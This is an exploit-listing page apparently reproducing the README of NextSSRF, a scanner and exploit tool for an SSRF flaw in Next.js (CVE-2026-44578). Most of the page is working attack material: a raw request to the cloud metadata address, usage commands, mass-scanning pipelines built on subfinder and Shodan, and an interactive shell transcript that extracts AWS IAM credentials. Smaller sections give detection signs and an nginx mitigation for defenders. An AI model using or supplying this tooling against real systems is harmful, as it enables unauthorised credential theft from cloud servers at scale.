## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-YNSMROZTAS-NEXTSSRF
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║ NextSSRF — CVE-2026-44578 Scanner & Exploit ║
║ Next.js WebSocket Upgrade Handler SSRF ║
║ Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4 ║
║ @mitsec / ynsmroztas — Bug Bounty Tooling ║
╚══════════════════════════════════════════════════════════════╝
    
**CVE-2026-44578** — 通过 Next.js WebSocket 升级处理程序实现的服务器端请求伪造
概述 · 安装 · 使用方法 · 管道 · Shodan · 交互式外壳 · 免责声明
* * *
## 概述
2026年5月11日,Vercel 修补了 **CVE-2026-44578** (CVSS 8.6):Next.js WebSocket 升级处理程序中的一个未认证 SSRF,影响从 **13.4.13** 开始的所有自托管部署。
### 机制
root@kitploit:~
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1 ← 绝对形式 URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
`http://` 中的 `//` 会触发 `normalizeRepeatedSlashes` 提前退出,设置 `statusCode: 308` 和 `finished: true`。易受攻击的升级处理程序 **忽略这两个标志** ,并在 `parsedUrl.protocol` 为真时调用 `proxyRequest` — 将请求代理到攻击者控制的主机上的 **端口 80** 。
root@kitploit:~
// router-server.ts (易受攻击)
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
### 受影响版本
产品| 受影响版本| 修复版本
---|---|---
Next.js| 13.4.13 – 15.5.15| 15.5.16
Next.js| 16.0.0 – 16.2.4| 16.2.5
Vercel 托管| ✅ 不受影响| N/A
### 局限性
* **仅 GET** (无 POST/PUT)
* **仅端口 80** (显式端口被 URL 规范化移除)
* AWS **IMDSv2** 不可利用(需要 PUT 令牌)
* GCP 元数据以 400 响应拒绝 `Upgrade: websocket`
* 反向代理(nginx/caddy/HAProxy)会阻止绝对形式 URI
* * *
## 演示

> 通过 CVE-2026-44578 泄露 AWS IMDSv1 凭证 — 交互式利用外壳
* * *
## 安装
root@kitploit:~
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com
> **零依赖** — 仅 Python 标准库。需要 Python 3.10+。
* * *
## 使用方法
### 单目标扫描
root@kitploit:~
python3 nextssrf.py -t https://target.com
### 针对特定云平台
root@kitploit:~
# 仅 AWS 元数据
python3 nextssrf.py -t https://target.com --cloud aws
# 自定义内部目标
python3 nextssrf.py -t https://target.com \
--ssrf-host http://internal-api --path /admin
# 深度扫描(+ 内部服务)
python3 nextssrf.py -t https://target.com --cloud aws --deep
### 批量扫描(管道)
root@kitploit:~
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl
# 文件输入
python3 nextssrf.py -f targets.txt --threads 15 -o results.json
# 强制扫描(即使版本未知)
python3 nextssrf.py -t https://target.com --force
### 退出码
退出码| 含义
---|---
`0`| 未发现漏洞 / 安全
`1`| 存在漏洞(未利用)
`2`| SSRF 已确认
* * *
## 交互式外壳
具有自动云检测和 IAM 凭证提取的高级利用外壳:
root@kitploit:~
python3 nextssrf.py -t https://target.com
root@kitploit:~
╔══════════════════════════════════════════════════╗
║ NextSSRF v2 — Interactive Exploit Shell ║
║ Target : ec2-x-x-x-x.compute.amazonaws.com ║
║ CVE : CVE-2026-44578 | Status: Connected ║
╚══════════════════════════════════════════════════╝
nextssrf(ec2-x...)> cloud
[>] Detecting cloud provider...
✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
→ Run 'aws' for full credential extraction
nextssrf(ec2-x...)> aws
[1/3] Instance Information
[200] Hostname : ip-172-31-47-134.ec2.internal
[200] AZ : us-east-1d
[200] Account ID : {"AccountId": "370741706736"}
[2/3] IAM Role Discovery
✓ IAM Role found: my-ec2-role
[3/3] Credential Extraction
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
🎯 AWS CREDENTIALS EXFILTRATED!
▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
SecretKey : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Expiration : 2026-05-14T22:32:22Z
### 外壳命令
### 自动模式
root@kitploit:~
# 自动检测云平台 + 运行完整利用链
python3 nextssrf.py -t https://target.com --auto
* * *
## 管道示例
root@kitploit:~
# 完整侦察 → 利用管道
subfinder -d target.com \
| httpx -silent -server \
| grep -i "next" \
| python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl
# Shodan 批量扫描 → 在确认的主机上进入交互模式
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
| python3 nextssrf.py --pipe --cloud aws -o hits.jsonl
# 检查特定版本范围
cat hosts.txt \
| python3 nextssrf.py --pipe --force --cloud aws \
| jq '.[] | select(.ssrf_hits | length > 0)'
* * *
## 检测(蓝队)
日志中的利用迹象:
root@kitploit:~
# Next.js 进程日志
Failed to proxy http:/ ← 单斜杠 = 规范化指纹
# 访问日志(绝对形式 URI + Upgrade 头)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket
### 缓解措施(若无法修补)
root@kitploit:~
# Nginx:拒绝绝对形式的请求 URI
if ($request_uri ~* "^https?://") {
return 400;
}
* * *
## 参考资料
* GHSA-c4j6-fc7j-m34r
* NVD CVE-2026-44578
* Next.js 2026年5月安全发布
* Hadrian 技术分析
* * *
## 免责声明
> **仅用于授权的安全测试和漏洞赏金研究。** 仅对您拥有或已获得明确书面许可的系统使用。 作者不对滥用或未经授权使用负责。 请始终遵守您漏洞赏金计划的参与规则。
* * *
由 @mitsec 用 ❤️ 制作 · ynsmroztas.github.io
**Intigriti 顶级黑客 · 100+ HOF · 2430+ 漏洞 · 1100+ P1 关键**